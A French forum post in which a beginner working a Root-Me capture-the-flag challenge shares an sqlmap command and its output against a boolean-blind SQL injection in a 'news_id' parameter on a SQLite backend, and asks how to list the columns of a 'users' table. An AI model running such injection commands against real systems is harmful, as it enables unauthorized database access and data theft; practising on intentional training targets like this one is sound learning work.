Partage
  • Partager sur Facebook
  • Partager sur Twitter

SQLMAP: SQLite

2 septembre 2019 à 3:32:45

Bonjour, je suis bloquer dans mon pentest car je suis incapable d'extraire les colonnes de la tables 'users' à cause que la dbs utilise SQLite.

Voici la commande et la sortie:

┌─[root@parrot]─[/home/user]

└──╼ #sqlmap -u 'http://challenge01.root-me.org/web-serveur/ch18/?action=news&news_id=2' --tables --columns

        ___

       __H__

 ___ ___[)]_____ ___ ___  {1.3#stable}

|_ -| . [.]     | .'| . |

|___|_  [.]_|_|_|__,|  _|

      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:29:00 /2019-09-02/

[02:29:02] [INFO] resuming back-end DBMS 'sqlite' 

[02:29:21] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: news_id (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: action=news&news_id=1 AND 3366=3366

---

[02:29:21] [INFO] the back-end DBMS is SQLite

web application technology: Nginx

back-end DBMS: SQLite

[02:29:21] [INFO] fetching tables for database: 'SQLite_masterdb'

[02:29:21] [INFO] fetching number of tables for database 'SQLite_masterdb'

[02:29:21] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[02:29:21] [INFO] retrieved: 

[02:29:22] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

[02:29:22] [WARNING] unable to retrieve the number of tables for database 'SQLite_masterdb'

[02:29:22] [ERROR] unable to retrieve the table names for any database

Database: SQLite_masterdb

[13 tables]

+------------------------+

| Descriptions_Languages |

| Lake                   |

| Land                   |

| Languages              |

| LastDate               |

| LastLoginDate          |

| LastName               |

| cmLanguage             |

| cmRepositoryLanguage   |

| geo_Lake               |

| news                   |

| tblLayouts             |

| users                  |

+------------------------+

[02:29:22] [INFO] retrieved: 

[02:29:22] [INFO] fetched data logged to text files under '/root/.sqlmap/output/challenge01.root-me.org'

[*] ending @ 02:29:22 /2019-09-02/

Je veux savoir comment afficher les colonnes(Dsl si il ya quelques imperfections,je suis nouveau dans ce domaine.Merci!).
Merci pour votre aide!
  • Partager sur Facebook
  • Partager sur Twitter